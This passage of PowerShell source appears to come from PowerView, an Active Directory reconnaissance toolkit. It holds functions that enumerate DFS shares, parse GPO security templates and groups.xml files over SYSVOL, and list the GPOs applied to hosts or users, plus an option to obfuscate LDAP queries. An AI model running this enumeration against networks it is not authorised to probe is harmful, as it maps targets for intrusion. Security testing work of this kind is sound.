$server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
|
|
|
|
$server_name_start = $server_name_size_end + 1
|
|
$server_name_end = $server_name_start + $server_name_size - 1
|
|
$server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
|
|
|
|
$share_name_size_start = $server_name_end + 1
|
|
$share_name_size_end = $share_name_size_start + 1
|
|
$share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
|
|
$share_name_start = $share_name_size_end + 1
|
|
$share_name_end = $share_name_start + $share_name_size - 1
|
|
$share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
|
|
|
|
$target_list += "\\$server_name\$share_name"
|
|
$t_offset = $share_name_end + 1
|
|
}
|
|
}
|
|
}
|
|
$offset = $blob_data_end + 1
|
|
$dfs_pkt_properties = @{
|
|
'Name' = $blob_name
|
|
'Prefix' = $prefix
|
|
'TargetList' = $target_list
|
|
}
|
|
$object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
|
|
$prefix = $Null
|
|
$blob_name = $Null
|
|
$target_list = $Null
|
|
}
|
|
|
|
$servers = @()
|
|
$object_list | ForEach-Object {
|
|
if ($_.TargetList) {
|
|
$_.TargetList | ForEach-Object {
|
|
$servers += $_.split('\')[2]
|
|
}
|
|
}
|
|
}
|
|
|
|
$servers
|
|
}
|
|
|
|
function Get-DomainDFSShareV1 {
|
|
[CmdletBinding()]
|
|
Param(
|
|
[String]
|
|
$Domain,
|
|
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[String]
|
|
$Server,
|
|
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$DFSsearcher = Get-DomainSearcher @PSBoundParameters
|
|
|
|
if ($DFSsearcher) {
|
|
$DFSshares = @()
|
|
$DFSsearcher.filter = '(&(objectClass=fTDfs))'
|
|
|
|
try {
|
|
$Results = $DFSSearcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Properties = $_.Properties
|
|
$RemoteNames = $Properties.remoteservername
|
|
$Pkt = $Properties.pkt
|
|
|
|
$DFSshares += $RemoteNames | ForEach-Object {
|
|
try {
|
|
if ( $_.Contains('\') ) {
|
|
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
|
|
}
|
|
}
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$DFSSearcher.dispose()
|
|
|
|
if ($pkt -and $pkt[0]) {
|
|
Parse-Pkt $pkt[0] | ForEach-Object {
|
|
# If a folder doesn't have a redirection it will have a target like
|
|
# \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
|
|
# on 'null' rather than $Null
|
|
if ($_ -ne 'null') {
|
|
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
|
|
}
|
|
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
|
|
}
|
|
}
|
|
|
|
function Get-DomainDFSShareV2 {
|
|
[CmdletBinding()]
|
|
Param(
|
|
[String]
|
|
$Domain,
|
|
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[String]
|
|
$Server,
|
|
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
$DFSsearcher = Get-DomainSearcher @PSBoundParameters
|
|
|
|
if ($DFSsearcher) {
|
|
$DFSshares = @()
|
|
$DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
|
|
$Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
|
|
|
|
try {
|
|
$Results = $DFSSearcher.FindAll()
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Properties = $_.Properties
|
|
$target_list = $Properties.'msdfs-targetlistv2'[0]
|
|
$xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
|
|
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
|
|
try {
|
|
$Target = $_.InnerText
|
|
if ( $Target.Contains('\') ) {
|
|
$DFSroot = $Target.split('\')[3]
|
|
$ShareName = $Properties.'msdfs-linkpathv2'[0]
|
|
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
|
|
}
|
|
}
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$DFSSearcher.dispose()
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
|
|
}
|
|
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
|
|
}
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
$DFSshares = @()
|
|
|
|
if ($PSBoundParameters['Domain']) {
|
|
ForEach ($TargetDomain in $Domain) {
|
|
$SearcherArguments['Domain'] = $TargetDomain
|
|
if ($Version -match 'all|1') {
|
|
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
|
|
}
|
|
if ($Version -match 'all|2') {
|
|
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
if ($Version -match 'all|1') {
|
|
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
|
|
}
|
|
if ($Version -match 'all|2') {
|
|
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
|
|
}
|
|
}
|
|
|
|
$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
|
|
}
|
|
}
|
|
|
|
|
|
########################################################
|
|
#
|
|
# GPO related functions.
|
|
#
|
|
########################################################
|
|
|
|
function Get-GptTmpl {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper to parse a GptTmpl.inf policy file path into a hashtable.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
|
|
|
|
.DESCRIPTION
|
|
|
|
Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
|
|
GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
|
|
is constructed and assumed to be the parse target. If -Credential is passed,
|
|
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
|
|
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
|
|
|
|
.PARAMETER GptTmplPath
|
|
|
|
Specifies the GptTmpl.inf file path name to parse.
|
|
|
|
.PARAMETER OutputObject
|
|
|
|
Switch. Output a custom PSObject instead of a hashtable.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
|
|
|
|
Parse the default domain policy .inf for dev.testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPO testing | Get-GptTmpl
|
|
|
|
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
|
|
|
|
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
|
|
|
|
.OUTPUTS
|
|
|
|
Hashtable
|
|
|
|
Ouputs a hashtable representing the parsed GptTmpl.inf file.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType([Hashtable])]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('gpcfilesyspath', 'Path')]
|
|
[String]
|
|
$GptTmplPath,
|
|
|
|
[Switch]
|
|
$OutputObject,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$MappedPaths = @{}
|
|
}
|
|
|
|
PROCESS {
|
|
try {
|
|
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
|
|
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
|
|
if (-not $MappedPaths[$SysVolPath]) {
|
|
# map IPC$ to this computer if it's not already
|
|
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
|
|
$MappedPaths[$SysVolPath] = $True
|
|
}
|
|
}
|
|
|
|
$TargetGptTmplPath = $GptTmplPath
|
|
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
|
|
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
|
|
}
|
|
|
|
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
|
|
|
|
if ($PSBoundParameters['OutputObject']) {
|
|
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
|
|
if ($Contents) {
|
|
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
|
|
$Contents
|
|
}
|
|
}
|
|
else {
|
|
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
|
|
if ($Contents) {
|
|
$Contents['Path'] = $TargetGptTmplPath
|
|
$Contents
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
|
|
}
|
|
}
|
|
|
|
END {
|
|
# remove the SYSVOL mappings
|
|
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
|
|
}
|
|
}
|
|
|
|
|
|
function Get-GroupsXML {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helper to parse a groups.xml file path into a custom object.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Parses a groups.xml into a custom object. If -Credential is passed,
|
|
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
|
|
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
|
|
|
|
.PARAMETER GroupsXMLpath
|
|
|
|
Specifies the groups.xml file path name to parse.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.GroupsXML
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.GroupsXML')]
|
|
[CmdletBinding()]
|
|
Param (
|
|
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('Path')]
|
|
[String]
|
|
$GroupsXMLPath,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
$MappedPaths = @{}
|
|
}
|
|
|
|
PROCESS {
|
|
try {
|
|
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
|
|
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
|
|
if (-not $MappedPaths[$SysVolPath]) {
|
|
# map IPC$ to this computer if it's not already
|
|
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
|
|
$MappedPaths[$SysVolPath] = $True
|
|
}
|
|
}
|
|
|
|
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
|
|
|
|
# process all group properties in the XML
|
|
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
|
|
|
|
$Groupname = $_.Properties.groupName
|
|
|
|
# extract the localgroup sid for memberof
|
|
$GroupSID = $_.Properties.groupSid
|
|
if (-not $GroupSID) {
|
|
if ($Groupname -match 'Administrators') {
|
|
$GroupSID = 'S-1-5-32-544'
|
|
}
|
|
elseif ($Groupname -match 'Remote Desktop') {
|
|
$GroupSID = 'S-1-5-32-555'
|
|
}
|
|
elseif ($Groupname -match 'Guests') {
|
|
$GroupSID = 'S-1-5-32-546'
|
|
}
|
|
else {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
|
|
}
|
|
else {
|
|
$GroupSID = ConvertTo-SID -ObjectName $Groupname
|
|
}
|
|
}
|
|
}
|
|
|
|
# extract out members added to this group
|
|
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
|
|
if ($_.sid) { $_.sid }
|
|
else { $_.name }
|
|
}
|
|
|
|
if ($Members) {
|
|
# extract out any/all filters...I hate you GPP
|
|
if ($_.filters) {
|
|
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
|
|
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
|
|
}
|
|
}
|
|
else {
|
|
$Filters = $Null
|
|
}
|
|
|
|
if ($Members -isnot [System.Array]) { $Members = @($Members) }
|
|
|
|
$GroupsXML = New-Object PSObject
|
|
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
|
|
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
|
|
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
|
|
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
|
|
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
|
|
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
|
|
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
|
|
$GroupsXML
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
|
|
}
|
|
}
|
|
|
|
END {
|
|
# remove the SYSVOL mappings
|
|
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainGPO {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return all GPOs or specific GPO objects in AD.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
|
|
|
|
.DESCRIPTION
|
|
|
|
Builds a directory searcher object using Get-DomainSearcher, builds a custom
|
|
LDAP filter based on targeting/filter parameters, and searches for all objects
|
|
matching the criteria. To only return specific properties, use
|
|
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
|
|
the current domain are returned. To enumerate all GPOs that are applied to
|
|
a particular machine, use -ComputerName X.
|
|
|
|
.PARAMETER Identity
|
|
|
|
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
|
|
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
|
|
|
|
.PARAMETER ComputerIdentity
|
|
|
|
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
|
|
|
|
.PARAMETER UserIdentity
|
|
|
|
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain to use for the query, defaults to the current domain.
|
|
|
|
.PARAMETER LDAPFilter
|
|
|
|
Specifies an LDAP query string that is used to filter Active Directory objects.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER SearchBase
|
|
|
|
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
|
Useful for OU queries.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER SearchScope
|
|
|
|
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER SecurityMasks
|
|
|
|
Specifies an option for examining security information of a directory object.
|
|
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
|
|
|
.PARAMETER Tombstone
|
|
|
|
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER Raw
|
|
|
|
Switch. Return raw results instead of translating the fields into a custom PSObject.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.PARAMETER Obfuscate
|
|
|
|
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPO -Domain testlab.local
|
|
|
|
Return all GPOs for the testlab.local domain
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPO -ComputerName windows1.testlab.local
|
|
|
|
Returns all GPOs applied windows1.testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
|
|
|
|
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
|
|
name of "Test GPO"
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainGPO -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.GPO
|
|
|
|
Custom PSObject with translated GPO property fields.
|
|
|
|
PowerView.GPO.Raw
|
|
|
|
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
|
[OutputType('PowerView.GPO')]
|
|
[OutputType('PowerView.GPO.Raw')]
|
|
[CmdletBinding(DefaultParameterSetName = 'None')]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
|
|
[String[]]
|
|
$Identity,
|
|
|
|
[Parameter(ParameterSetName = 'ComputerIdentity')]
|
|
[Alias('ComputerName')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ComputerIdentity,
|
|
|
|
[Parameter(ParameterSetName = 'UserIdentity')]
|
|
[Alias('UserName')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$UserIdentity,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('Filter')]
|
|
[String]
|
|
$LDAPFilter,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('ADSPath')]
|
|
[String]
|
|
$SearchBase,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
|
[String]
|
|
$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$Raw,
|
|
|
|
[Switch]
|
|
$SSL,
|
|
|
|
[Switch]
|
|
$Obfuscate
|
|
)
|
|
|
|
BEGIN {
|
|
$SearcherArguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
|
|
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
|
|
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
|
|
}
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
|
|
$GPOAdsPaths = @()
|
|
if ($SearcherArguments['Properties']) {
|
|
$OldProperties = $SearcherArguments['Properties']
|
|
}
|
|
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
|
|
$TargetComputerName = $Null
|
|
|
|
if ($PSBoundParameters['ComputerIdentity']) {
|
|
$SearcherArguments['Identity'] = $ComputerIdentity
|
|
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
|
|
if(-not $Computer) {
|
|
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
|
|
}
|
|
$ObjectDN = $Computer.distinguishedname
|
|
$TargetComputerName = $Computer.dnshostname
|
|
}
|
|
else {
|
|
$SearcherArguments['Identity'] = $UserIdentity
|
|
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
|
|
if(-not $User) {
|
|
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
|
|
}
|
|
$ObjectDN = $User.distinguishedname
|
|
}
|
|
|
|
# extract all OUs the target user/computer is a part of
|
|
$ObjectOUs = @()
|
|
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
|
|
if($_.startswith('OU=')) {
|
|
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
|
|
}
|
|
}
|
|
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
|
|
|
|
if ($ObjectOUs) {
|
|
# find all the GPOs linked to the user/computer's OUs
|
|
$SearcherArguments.Remove('Properties')
|
|
$InheritanceDisabled = $False
|
|
ForEach($ObjectOU in $ObjectOUs) {
|
|
$SearcherArguments['Identity'] = $ObjectOU
|
|
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
|
|
# extract any GPO links for this particular OU the computer is a part of
|
|
if ($_.gplink) {
|
|
$_.gplink.split('][') | ForEach-Object {
|
|
if ($_.startswith('LDAP')) {
|
|
$Parts = $_.split(';')
|
|
$GpoDN = $Parts[0]
|
|
$Enforced = $Parts[1]
|
|
if ($InheritanceDisabled) {
|
|
# if inheritance has already been disabled and this GPO is set as "enforced"
|
|
# then add it, otherwise ignore it
|
|
if ($Enforced -eq 2) {
|
|
$GpoDN
|
|
}
|
|
}
|
|
else {
|
|
# inheritance not marked as disabled yet
|
|
$GpoDN
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
|
|
if ($_.gpoptions -eq 1) {
|
|
$InheritanceDisabled = $True
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if ($TargetComputerName) {
|
|
# find all the GPOs linked to the computer's site
|
|
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
|
|
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
|
|
$SearcherArguments['Identity'] = $ComputerSite
|
|
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
|
|
if($_.gplink) {
|
|
# extract any GPO links for this particular site the computer is a part of
|
|
$_.gplink.split('][') | ForEach-Object {
|
|
if ($_.startswith('LDAP')) {
|
|
$_.split(';')[0]
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# find any GPOs linked to the user/computer's domain
|
|
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
|
|
$SearcherArguments.Remove('Identity')
|
|
$SearcherArguments.Remove('Properties')
|
|
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
|
|
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
|
|
if($_.gplink) {
|
|
# extract any GPO links for this particular domain the computer is a part of
|
|
$_.gplink.split('][') | ForEach-Object {
|
|
if ($_.startswith('LDAP')) {
|
|
$_.split(';')[0]
|
|
}
|
|
}
|
|
}
|
|
}
|
|
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
|
|
|
|
# restore the old properites to return, if set
|
|
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
|
|
else { $SearcherArguments.Remove('Properties') }
|
|
$SearcherArguments.Remove('Identity')
|
|
|
|
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
|
|
# use the gplink as an ADS path to enumerate all GPOs for the computer
|
|
$SearcherArguments['SearchBase'] = $_
|
|
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
|
|
Get-DomainObject @SearcherArguments | ForEach-Object {
|
|
if ($PSBoundParameters['Raw']) {
|
|
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
|
|
}
|
|
else {
|
|
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
|
|
}
|
|
$_
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
$IdentityFilter = ''
|
|
$Filter = ''
|
|
$Identity | Where-Object {$_} | ForEach-Object {
|
|
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
|
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
|
|
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
|
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
|
|
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
|
|
# and rebuild the domain searcher
|
|
